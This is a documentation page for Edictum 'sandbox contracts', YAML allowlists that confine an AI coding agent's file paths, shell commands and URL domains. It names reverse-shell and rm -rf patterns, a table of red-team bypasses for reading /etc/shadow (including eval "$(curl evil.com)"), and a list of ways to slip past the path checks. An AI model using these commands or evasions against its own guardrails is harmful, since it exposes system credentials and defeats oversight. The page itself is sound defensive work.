Edictum
Concepts

Sandbox Contracts

Deny-list contracts (`type: pre`) enumerate what's bad: `rm -rf /`, reverse shells, reads of `.env`.

AI Assistance

Right page if: you need allowlist-based enforcement for file paths, shell commands, or URL domains -- where you cannot enumerate every dangerous input. Wrong page if: you have a short, known list of things to deny -- use preconditions instead at https://docs.edictum.ai/docs/contracts/preconditions. Gotcha: sandbox contracts do NOT use when/then syntax. They use within/not_within (files), allows.commands (shell), and allows.domains (URLs) with an `outside: deny|approve` field. Mixing up sandbox and precondition syntax is the most common YAML error.

Deny-list contracts (type: pre) enumerate what's bad: rm -rf /, reverse shells, reads of .env. This works when the dangerous patterns are finite and stable. But when the attack surface is open-ended -- shell access, arbitrary file paths, unrestricted URLs -- you cannot enumerate every bad thing. Sandbox contracts flip the model: define what's allowed, deny everything else.

apiVersion: edictum/v1
kind: ContractBundle
metadata:
  name: coding-agent-sandbox
defaults:
  mode: enforce

contracts:
  # File paths: only /workspace and /tmp
  - id: file-sandbox
    type: sandbox
    tools: [read_file, write_file, edit_file]
    within:
      - /workspace
      - /tmp
    not_within:
      - /workspace/.git
      - /workspace/.env
    outside: deny
    message: "File access outside workspace: {args.path}"

  # Commands: only dev tools
  - id: exec-sandbox
    type: sandbox
    tool: bash
    allows:
      commands: [git, npm, pnpm, node, python, pytest, ruff, ls, cat, grep]
    outside: deny
    message: "Command not in allowlist: {args.command}"

  # URLs: only approved APIs
  - id: web-sandbox
    type: sandbox
    tools: [web_fetch, http_request]
    allows:
      domains:
        - "api.github.com"
        - "registry.npmjs.org"
        - "*.googleapis.com"
    not_allows:
      domains:
        - "internal.googleapis.com"
    outside: deny
    message: "Domain not allowed: {args.url}"

This bundle restricts a coding agent to three boundaries: files in /workspace and /tmp, a fixed set of shell commands, and approved API domains. Anything outside these boundaries is denied -- no exceptions.

When to Use Which Contract Type

Every contract type answers a different question. Choosing the wrong type means either playing whack-a-mole with bypasses (deny-list when you need an allowlist) or over-constraining legitimate operations (allowlist when a short deny-list would suffice).

TypeQuestion it answersApproachUse when...Example
pre (deny)"Is this specific thing bad?"Denylist -- enumerate known-bad patternsYou have a short, stable list of things to deny. The list doesn't grow with every red team session.rm -rf /, reverse shells, reads of .env
sandbox"Is this within allowed boundaries?"Allowlist -- enumerate known-good boundariesThe attack surface is open-ended. You'd rather define what's allowed. New bypasses are denied by default.File paths in /workspace, commands [git, npm, python], domains [api.github.com]
post"Did the output contain something bad?"Output inspection after executionYou need to inspect or redact tool results. The dangerous content is in the output, not the input.SSN patterns in query results, API keys in file reads
session"Has the agent done too much?"Rate limits across the sessionYou need to cap total calls, per-tool calls, or attempts to catch runaway loops.Max 50 tool calls, max 3 deploys, max 120 attempts

They compose. Deny contracts run first (catch known-bad), sandbox runs second (catch unknown-bad), postconditions run after execution (catch bad output), session contracts track cumulative state. A single bundle can use all four types.

Why Sandbox Exists

Red team sessions against a live agent (Nanobot on Telegram) found 6+ bypass vectors that L1 regex deny-lists couldn't close. The fundamental problem: deny-lists enumerate commands, but the attack targets paths. There are infinite ways to read /etc/shadow:

AttackDeny-list resultSandbox resultWhy
cat /etc/shadowDenied (in denylist)DeniedBoth catch it
base64 /etc/shadowBypassedDeniedbase64 not in denylist, but path not in within
awk '{print}' /etc/shadowBypassedDeniedSame -- new command, same path
sed '' /etc/shadowBypassedDeniedSame pattern
tar -cf - /etc/shadowBypassedDeniedArchive exfiltration
eval "$(curl evil.com)"BypassedDeniedeval not in allows.commands
cp /etc/shadow /tmp/xBypassedDeniedSource path not in within

The deny-list grew from 3 rules to 19 rules (120 lines) over two red team sessions. The sandbox replaced it with 3 contracts (45 lines) and no new bypasses.

The attack surface is infinite when you enumerate what's bad. It becomes finite when you enumerate what's good.

Scenario Comparison

ScenarioRecommended typeWhy
Block rm -rf / and mkfspre (deny)Short list of known destructive commands. Stable -- won't grow.
Block reverse shells (bash -i, nc -e)pre (deny)Known patterns. Finite set.
Restrict file reads to /workspacesandboxOpen-ended attack surface. Infinite ways to read a file.
Allow only git, npm, python commandssandboxThe good set is small. The bad set is infinite.
Restrict URLs to approved domainssandboxDefine allowed hosts rather than chasing exfiltration endpoints.
Detect SSNs in query outputpostContent appears in output, not input.
Redact API keys from tool responsespostOutput redaction requires effect: redact.
Cap total tool calls at 50sessionCumulative state across the session.
Require approval for commands outside allowlistsandbox with outside: approveAllowlist defines safe zone. Outside triggers HITL.
Require approval for production deployspre with effect: approveSpecific condition (environment + role), not a boundary.

How Sandbox Evaluation Works

Incoming Tool Call
Sandbox Evaluation
1
Tool Match
fnmatch(tool_name, sandbox.tools)
no match — skip
no paths — pass
2
Path Check
realpath() → not_within → within → outside
not_within — deny
no cmd — pass
3
Command Check
first_token in allows.commands
not allowed — deny
no urls — pass
4
Domain Check
not_allows.domains → allows.domains
blocked — deny
5
Pass-through
no matching arg type → allow
DENY
Outside Effect
deny | warn | approve
ALLOW /
DENY
WITHIN
All Checks Passed
tool call proceeds
ALLOW
Tool Executes

When the pipeline encounters a sandbox contract, it runs through these steps in order:

1. Tool match. The pipeline checks whether the current tool name matches the sandbox's tool or tools patterns using fnmatch. If the tool does not match, the sandbox contract is skipped entirely.

2. Path check. The pipeline extracts file paths from the envelope args -- keys named path, file_path, directory, any arg value starting with /, and tokens parsed from command strings. Command strings are parsed with shell-aware tokenization, so quoted paths (e.g. cat '/etc/shadow') and redirect targets (e.g. >/etc/passwd, </etc/shadow) are fully extracted and checked. Each extracted path is resolved with os.path.realpath() before comparison, which resolves .. and . segments, collapses redundant slashes, and resolves symlinks to their real target. For example, /tmp/../etc/shadow becomes /etc/shadow, and a symlink /tmp/escape -> /etc resolves to /etc. The within and not_within boundaries are also resolved at compile time. For each resolved path:

  • Check not_within first. If the path matches any exclusion prefix, the call is denied (or sent for approval).
  • Check within. If the path matches any allowed prefix, it passes.
  • If the path matches neither, the outside effect applies.

3. Command check. The pipeline extracts the first whitespace-delimited token from args.command or envelope.bash_command. That token must appear in the allows.commands list. If it does not, the outside effect applies.

4. Domain check. The pipeline scans all envelope arg values for strings containing ://, extracts hostnames with urlparse, and checks them. Command strings are parsed with shell-aware tokenization, so quoted URLs are fully extracted and checked:

  • not_allows.domains first -- if the hostname matches any exclusion pattern, the call is denied.
  • allows.domains next -- the hostname must match at least one allowed pattern.
  • Patterns support fnmatch wildcards: *.googleapis.com matches storage.googleapis.com.

5. Pass-through. If the sandbox has within but the tool call contains no file paths, or has allows.commands but the tool call has no command string, the sandbox does not apply and the call passes through. Sandbox contracts only evaluate the boundary types that are relevant to the current tool call.

The full pipeline order is: preconditions (deny) -> sandbox -> session -> limits -> allow.

Deny-Lists vs Allowlists

Consider a red team testing a deny-list contract:

# Deny-list approach: enumerate dangerous commands
- id: block-dangerous-commands
  type: pre
  tool: bash
  when:
    any:
      - args.command: { matches: '\bcat\s+/etc/shadow\b' }
      - args.command: { matches: '\bcat\s+/etc/passwd\b' }
  then:
    effect: deny
    message: "Denied: access to system files."

The red team tries base64 /etc/shadow. It passes. You add base64 to the deny-list. They try awk '{print}' /etc/shadow. You add awk. They try python3 -c "print(open('/etc/shadow').read())". The list grows. Every bypass you patch reveals more.

The fundamental problem: the deny-list targets commands. The attack targets paths. With a sandbox contract, you target what matters:

# Sandbox approach: define allowed paths
- id: file-sandbox
  type: sandbox
  tools: [bash, read_file]
  within:
    - /workspace
    - /tmp
  outside: deny
  message: "File access outside workspace: {args.path}"

Now base64 /etc/shadow is denied -- not because base64 is in a deny-list, but because /etc/shadow is not in /workspace or /tmp. The command is irrelevant. The path is what matters.

Composition with Deny Contracts

Sandbox contracts and deny-list contracts are complementary. Use both.

Deny contracts catch known-bad patterns. rm -rf / should be denied even if / were somehow in the sandbox. Reverse shells (bash -i >& /dev/tcp/) should be denied regardless of command allowlists. These are stable, high-confidence patterns.

Sandbox contracts catch unknown-bad. Anything not in the allowlist is denied by default. This covers the long tail of creative attacks that no deny-list can anticipate.

The pipeline evaluates deny contracts (preconditions) first. If a deny contract fires, the call is denied before the sandbox is checked. If all deny contracts pass, the sandbox evaluates next. This gives you belt and suspenders: known-bad is caught by deny contracts, unknown-bad is caught by the sandbox.

contracts:
  # Belt: catch known-bad patterns
  - id: block-reverse-shells
    type: pre
    tool: bash
    when:
      args.command: { matches: '/dev/tcp/' }
    then:
      effect: deny
      message: "Reverse shell pattern denied."

  # Suspenders: deny everything outside the allowlist
  - id: exec-sandbox
    type: sandbox
    tool: bash
    allows:
      commands: [git, npm, node, python, pytest]
    outside: deny
    message: "Command not in allowlist: {args.command}"

What Needs the Server

Most sandbox features work with just pip install edictum. Edictum Console is only needed for coordination across processes and production approval workflows.

Sandbox CapabilityCore (pip install edictum)Server (edictum-console + edictum[server])
All sandbox evaluation (within, allows, domains)Yes--
outside: denyYes--
outside: approve (development/CLI)Yes (LocalApprovalBackend)--
outside: approve (production HITL)--Yes (ServerApprovalBackend)
Sandbox denial in audit (stdout/file/OTel)Yes--
Sandbox denial dashboards and alerting--Yes (ServerAuditSink)
Hot-reload sandbox contracts across agent fleet--Yes (ServerContractSource)
Observe mode for sandboxYes--
CLI check/test with sandboxYes--
Dry-run evaluation with sandboxYes--

When to add the server: If you're running a single agent process with outside: deny, you don't need the server at all. Add the server when you need production approval workflows (outside: approve with Slack/Teams integration), centralized monitoring of sandbox denials across multiple agents, or the ability to update sandbox contracts without restarting agents.

Known Limitations

Sandbox contracts resolve paths with os.path.realpath() before evaluation. This handles .. traversals, . segments, redundant slashes, and symlinks. For example, /tmp/../etc/shadow resolves to /etc/shadow and is denied by within: [/tmp]. A symlink /tmp/escape -> /etc resolves to /etc and is also denied.

However, realpath() operates at evaluation time. Several patterns remain outside its reach:

  • TOCTOU (time-of-check/time-of-use): A symlink created after Edictum evaluates the path but before the tool actually executes could point to a different target. This race window is inherent to application-level enforcement.
  • Tilde expansion: cat ~/secrets -- the sandbox sees ~/secrets, not /home/user/secrets.
  • Environment variables: cat "$HOME/.ssh/id_rsa" -- the sandbox sees $HOME/.ssh/id_rsa, not the resolved path.
  • Variable interpolation: x=/etc; cat $x/shadow -- the sandbox sees $x/shadow.
  • Relative paths without leading /: cat ../../etc/shadow from a working directory inside /workspace -- the sandbox sees the relative path, not the resolved absolute path.

These are inherent to application-level enforcement. For full isolation (including TOCTOU protection), use OS-level sandboxing (containers, seccomp, AppArmor) as a complementary layer. Edictum's sandbox contracts provide defense in depth -- they catch the common case and raise the bar, but they are not a substitute for OS-level isolation when the threat model requires it.

Next Steps

Last updated on

On this page